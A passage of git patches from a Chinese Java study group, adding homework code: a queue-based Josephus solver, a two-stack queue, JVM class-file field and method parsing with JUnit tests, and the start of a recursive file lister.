+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Josephus.java
@@ -0,0 +1,35 @@
+package com.coding.basic.stack.myselfQueue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		List<Integer> result = new ArrayList<Integer>();
+		Queue<Integer> queue = new Queue<Integer>();
+		for (int i = 0; i < n; i++){
+	        queue.enQueue(i);
+	    }
+		int x = 0;
+		while (queue.size() > 1){
+			int data = queue.deQueue();
+			
+			if (++x % m == 0){
+				result.add(data);
+			}else {
+				queue.enQueue(data);
+			}
+		}
+		
+		return result;
+	}
+	
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/JosephusTest.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/JosephusTest.java
new file mode 100644
index 0000000000..273b6456bc
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.stack.myselfQueue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Queue.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Queue.java
new file mode 100644
index 0000000000..47410c6070
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.stack.myselfQueue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/QueueWithTwoStacks.java b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..59e141991d
--- /dev/null
+++ b/group04/1020483199/HomeworkSuppned/src/com/coding/basic/stack/myselfQueue/QueueWithTwoStacks.java
@@ -0,0 +1,63 @@
+package com.coding.basic.stack.myselfQueue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return stack1.size() + stack2.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	if (stack2.isEmpty()){
+    		stack2 = convert(stack1);
+    	}
+    	
+        E pop = stack2.pop();
+        return pop;
+    }
+
+
+
+
+	private Stack<E> convert(Stack<E> stack) {
+		Stack<E> newStack = new Stack<E>();
+		while (!stack.isEmpty()){
+			newStack.push(stack.pop());
+		}
+		return newStack;
+	}
+
+
+
+ }
+

From 26aaba9ed4f27a5e2aa422d982c9538abc3ad051 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Tue, 9 May 2017 16:42:21 +0800
Subject: [PATCH 244/262] the sixth homework --JVM3 Field and Method Parse

---
 group19/1294642551/src/jvm/attr/CodeAttr.java | 90 ++++++++++++++++++
 .../src/jvm/attr/LineNumberTable.java         | 71 ++++++++++++++
 .../src/jvm/attr/LocalVariableItem.java       | 52 ++++++++++
 .../src/jvm/attr/LocalVariableTable.java      | 58 +++++++++++
 group19/1294642551/src/jvm/field/Field.java   | 49 ++++++++++
 .../src/jvm/loader/ClassFileParser.java       | 95 +++++++++++--------
 group19/1294642551/src/jvm/method/Method.java | 94 ++++++++++++++++++
 .../test/jvm/ClassFileloaderTest.java         | 73 ++++++++++++++
 8 files changed, 543 insertions(+), 39 deletions(-)
 create mode 100644 group19/1294642551/src/jvm/attr/CodeAttr.java
 create mode 100644 group19/1294642551/src/jvm/attr/LineNumberTable.java
 create mode 100644 group19/1294642551/src/jvm/attr/LocalVariableItem.java
 create mode 100644 group19/1294642551/src/jvm/attr/LocalVariableTable.java
 create mode 100644 group19/1294642551/src/jvm/field/Field.java
 create mode 100644 group19/1294642551/src/jvm/method/Method.java

diff --git a/group19/1294642551/src/jvm/attr/CodeAttr.java b/group19/1294642551/src/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..8552e5d17f
--- /dev/null
+++ b/group19/1294642551/src/jvm/attr/CodeAttr.java
@@ -0,0 +1,90 @@
+package jvm.attr;
+
+import jvm.clz.ClassFile;
+import jvm.cmd.ByteCodeCommand;
+import jvm.cmd.CommandParser;
+import jvm.constant.ConstantPool;
+import jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		iter.back(2);
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+		String code = iter.nextUxToHexString(codeLen);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		int exceptionLen = iter.nextU2ToInt();
+		int childAttrLen = iter.nextU2ToInt();
+		
+		
+		for(int i = 0; i < childAttrLen; i++){
+			int childAttrNameIndex = iter.nextU2ToInt();
+			String childAttrName = clzFile.getConstantPool().getUTF8String(childAttrNameIndex);
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(childAttrName)){
+				LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(lineNumberTable);
+			}else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(childAttrName)){
+				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(localVariableTable);
+			}else{
+				throw new RuntimeException("code 的子属性 "+ childAttrName+"没有解析");
+			}
+		}
+		return codeAttr;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+//		for(int i=0;i<cmds.length;i++){
+//			buffer.append(cmds[i].toString(pool)).append("\n");
+//		}
+//		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group19/1294642551/src/jvm/attr/LineNumberTable.java b/group19/1294642551/src/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..453fe6be6a
--- /dev/null
+++ b/group19/1294642551/src/jvm/attr/LineNumberTable.java
@@ -0,0 +1,71 @@
+package jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		iter.back(2);
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex, attrLen);
+		
+		int itemLen = iter.nextU2ToInt();
+		for(int i = 0; i < itemLen; i++){
+			LineNumberItem item = new LineNumberItem();
+			int startPC = iter.nextU2ToInt();
+			int lineNumber = iter.nextU2ToInt();
+			item.setStartPC(startPC);
+			item.setLineNum(lineNumber);
+			
+			lineNumberTable.addLineNumberItem(item);
+			
+		}
+		
+		return lineNumberTable;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group19/1294642551/src/jvm/attr/LocalVariableItem.java b/group19/1294642551/src/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..96dde8a0d2
--- /dev/null
+++ b/group19/1294642551/src/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,52 @@
+package jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	
+	
+	
+	public LocalVariableItem(int startPC, int length, int nameIndex,
+			int descIndex, int index) {
+		super();
+		this.startPC = startPC;
+		this.length = length;
+		this.nameIndex = nameIndex;
+		this.descIndex = descIndex;
+		this.index = index;
+	}
+	
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group19/1294642551/src/jvm/attr/LocalVariableTable.java b/group19/1294642551/src/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..28d41fcd26
--- /dev/null
+++ b/group19/1294642551/src/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,58 @@
+package jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import jvm.constant.ConstantPool;
+
+import jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		iter.back(2);
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int itemLen = iter.nextU2ToInt();
+		LocalVariableTable localVariableTable = new LocalVariableTable(attrNameIndex, attrLen);
+		
+		for(int i = 0; i < itemLen; i++){
+			int startPC = iter.nextU2ToInt();
+			int length = iter.nextU2ToInt();
+			int nameIndex = iter.nextU2ToInt();
+			int descIndex = iter.nextU2ToInt();
+			int slotIndex = iter.nextU2ToInt();
+			LocalVariableItem item = new LocalVariableItem(startPC, length, nameIndex, descIndex, slotIndex);
+			localVariableTable.addLocalVariableItem(item);
+			
+		}
+		
+		return localVariableTable;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group19/1294642551/src/jvm/field/Field.java b/group19/1294642551/src/jvm/field/Field.java
new file mode 100644
index 0000000000..edb9051797
--- /dev/null
+++ b/group19/1294642551/src/jvm/field/Field.java
@@ -0,0 +1,49 @@
+package jvm.field;
+
+import jvm.constant.ConstantPool;
+import jvm.constant.UTF8Info;
+import jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group19/1294642551/src/jvm/loader/ClassFileParser.java b/group19/1294642551/src/jvm/loader/ClassFileParser.java
index f282790d0e..2eb1552c2e 100644
--- a/group19/1294642551/src/jvm/loader/ClassFileParser.java
+++ b/group19/1294642551/src/jvm/loader/ClassFileParser.java
@@ -2,6 +2,8 @@
 
 
 
+import java.io.UnsupportedEncodingException;
+
 import jvm.clz.AccessFlag;
 import jvm.clz.ClassFile;
 import jvm.clz.ClassIndex;
@@ -14,9 +16,13 @@
 import jvm.constant.NullConstantInfo;
 import jvm.constant.StringInfo;
 import jvm.constant.UTF8Info;
+import jvm.field.Field;
+import jvm.method.Method;
 
 public class ClassFileParser {
 
+	private ConstantPool constantPool;
+	
 	public ClassFile parse(byte[] codes) {
 
 		
@@ -24,13 +30,10 @@ public ClassFile parse(byte[] codes) {
 		ByteCodeIterator iter = new ByteCodeIterator(codes);
 		iter.nextUxToHexString(4);
 		
-		int minorVersion = getMinorVersion(iter);
-		clzFile.setMinorVersion(minorVersion);
-		
-		int majorVersion = getMajorVersion(iter);
-		clzFile.setMajorVersion(majorVersion);
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
 		
-		ConstantPool constantPool = parseConstantPool(iter);
+		this.constantPool = parseConstantPool(iter);
 		clzFile.setConstPool(constantPool);
 		
 		AccessFlag accessFlag = parseAccessFlag(iter);
@@ -39,20 +42,17 @@ public ClassFile parse(byte[] codes) {
 		ClassIndex clzIndex = parseClassInfex(iter);
 		clzFile.setClassIndex(clzIndex);
 		
+		parseInterfaces(iter);//接口
+		
+		parseFileds(clzFile, iter);
+		
+		parseMethods(clzFile, iter);
+		
+		
+		
 		return clzFile;
 	}
 	
-	// 次版本号
-	private int getMinorVersion(ByteCodeIterator iter){
-		int minorVersion = iter.nextU2ToInt();
-		return minorVersion;
-	}
-	
-	// 主版本号
-	private int getMajorVersion(ByteCodeIterator iter){
-		int majorVersion = iter.nextU2ToInt();
-		return majorVersion;
-	}
 	
 
 	// 访问标志
@@ -87,13 +87,13 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 			if(type == 1){
 				UTF8Info utf8Info = new UTF8Info(constantPool);
 				int length = iter.nextU2ToInt();
-				int[] codes = new int[length];
-				StringBuilder sb = new StringBuilder();
-				for(int j = 0; j < length; j++){
-					codes[j] = iter.nextU1toInt();
-					sb.append((char)codes[j]);
+				byte[] data = iter.getBytes(length);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
 				}
-				String value = sb.toString();
 				
 				utf8Info.setLength(length);
 				utf8Info.setValue(value);
@@ -101,38 +101,30 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 				
 			}else if(type == 7){
 				ClassInfo classInfo = new ClassInfo(constantPool);
-				int utf8Index = iter.nextU2ToInt();
-				classInfo.setUtf8Index(utf8Index);
+				classInfo.setUtf8Index(iter.nextU2ToInt());
 				constantInfo = classInfo;
 				
 			}else if(type == 8){
 				StringInfo stringInfo = new StringInfo(constantPool);
-				int index = iter.nextU2ToInt();
-				stringInfo.setIndex(index);
+				stringInfo.setIndex(iter.nextU2ToInt());
 				constantInfo = stringInfo;
 				
 			}else if(type == 9){
 				FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				fieldRefInfo.setClassInfoIndex(classInfoIndex);
-				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
 				constantInfo = fieldRefInfo;
 				
 			}else if(type == 10){
 				MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				methodRefInfo.setClassInfoIndex(classInfoIndex);
-				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
 				constantInfo = methodRefInfo;
 				
 			}else if(type == 12){
 				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
-				int nameIndex = iter.nextU2ToInt();
-				int descIndex = iter.nextU2ToInt();
-				nameAndTypeInfo.setIndex1(nameIndex);
-				nameAndTypeInfo.setIndex2(descIndex);
+				nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
+				nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
 				constantInfo = nameAndTypeInfo;
 				
 			}else{
@@ -145,7 +137,32 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		return constantPool;
 	}
 	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
 
+//		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		int fieldCount = iter.nextU2ToInt();
+		for(int i = 0; i < fieldCount; i++){
+			Field field = Field.parse(constantPool, iter);
+			clzFile.addField(field);
+		}
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		int methodCount = iter.nextU2ToInt();
+		for(int i = 0; i < methodCount; i++){
+			Method method = Method.parse(clzFile, iter);
+			clzFile.addMethod(method);
+		}
+		
+
+	}
 	
 	
 }
diff --git a/group19/1294642551/src/jvm/method/Method.java b/group19/1294642551/src/jvm/method/Method.java
new file mode 100644
index 0000000000..e2f4a9cbd4
--- /dev/null
+++ b/group19/1294642551/src/jvm/method/Method.java
@@ -0,0 +1,94 @@
+package jvm.method;
+
+import jvm.clz.ClassFile;
+import jvm.attr.AttributeInfo;
+import jvm.attr.CodeAttr;
+import jvm.constant.ConstantPool;
+import jvm.constant.UTF8Info;
+import jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attributeCount = iter.nextU2ToInt();
+		
+		Method method = new Method(clzFile, accessFlag, nameIndex, descIndex);
+		for(int i = 0; i < attributeCount; i++){
+			int attrNameIndex = iter.nextU2ToInt();
+			String attributeName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			if(AttributeInfo.CODE.equalsIgnoreCase(attributeName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				method.setCodeAttr(codeAttr);
+			}else{
+				throw new RuntimeException("Method 中的属性"+attributeName+"未定义");
+			}
+		}
+		
+		
+		return method;
+		
+	}
+
+}
diff --git a/group19/1294642551/test/jvm/ClassFileloaderTest.java b/group19/1294642551/test/jvm/ClassFileloaderTest.java
index d7e2312925..be5ae2ae7c 100644
--- a/group19/1294642551/test/jvm/ClassFileloaderTest.java
+++ b/group19/1294642551/test/jvm/ClassFileloaderTest.java
@@ -1,6 +1,8 @@
 package jvm;
 
 
+import java.util.List;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -13,7 +15,9 @@
 import jvm.constant.MethodRefInfo;
 import jvm.constant.NameAndTypeInfo;
 import jvm.constant.UTF8Info;
+import jvm.field.Field;
 import jvm.loader.ClassFileLoader;
+import jvm.method.Method;
 
 
 
@@ -191,6 +195,75 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
 
  
 }

From 22c2ea48c289562bc281704c0f48ab856a4b78ec Mon Sep 17 00:00:00 2001
From: TonyHui <thlcly@163.com>
Date: Tue, 9 May 2017 18:38:07 +0800
Subject: [PATCH 245/262] =?UTF-8?q?=E5=AE=8C=E6=88=90jvm=E7=AC=AC=E4=B8=83?=
 =?UTF-8?q?=E6=AC=A1=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/aaront/exercise/basic/FileList.java   | 23 ++++++
 .../exercise/generic/BinaryTreeUtil.java      | 66 ++++++++++++++++
 .../exercise/generic/GenericBinaryTree.java   | 76 ++++++++++++++++++-
 .../aaront/execrise/basic/FileListTest.java   | 20 +++++
 .../{ => basic}/expr/InfixExprTest.java       |  2 +-
 .../{ => basic}/expr/InfixToPostfixTest.java  |  2 +-
 .../{ => basic}/expr/PostfixExprTest.java     |  2 +-
 .../{ => basic}/expr/PrefixExprTest.java      |  2 +-
 .../{ => basic}/expr/TokenParserTest.java     |  2 +-
 .../execrise/generic/BinaryTreeUtilTest.java  | 68 +++++++++++++++++
 .../generic/GenericBinaryTreeTest.java        |  9 +++
 11 files changed, 266 insertions(+), 6 deletions(-)
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/FileList.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/BinaryTreeUtil.java
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/basic/FileListTest.java
 rename group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/{ => basic}/expr/InfixExprTest.java (96%)
 rename group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/{ => basic}/expr/InfixToPostfixTest.java (96%)
 rename group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/{ => basic}/expr/PostfixExprTest.java (94%)
 rename group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/{ => basic}/expr/PrefixExprTest.java (95%)
 rename group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/{ => basic}/expr/TokenParserTest.java (96%)
 create mode 100644 group01/954958168/class01/BasicDataStructure/src/test/java/com/aaront/execrise/generic/BinaryTreeUtilTest.java

diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/FileList.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/FileList.java
new file mode 100644
index 0000000000..99e4077372
--- /dev/null
+++ b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/basic/FileList.java
@@ -0,0 +1,23 @@
+package com.aaront.exercise.basic;
+
+import java.io.File;
+
+public class FileList {
+    public void list(File f, int deep) {
+        if(f == null) return;
+        System.out.println(_leftPad(deep) + f.getName());
+        if(f.isFile()) return;
+        File[] files = f.listFiles();
+        for (int i = 0, len = files.length; i < len; i++) {
+            list(files[i], deep + 1);
+        }
+    }
+
+    private String _leftPad(int deep) {
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < deep; i++) {
+            sb.append("----");
+        }
+        return sb.toString();
+    }
+}
\ No newline at end of file
diff --git a/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/BinaryTreeUtil.java b/group01/954958168/class01/BasicDataStructure/src/main/java/com/aaront/exercise/generic/BinaryTreeUtil.java
new file mode 100644
index 0000000000..b46b122dbd
--- /dev/null
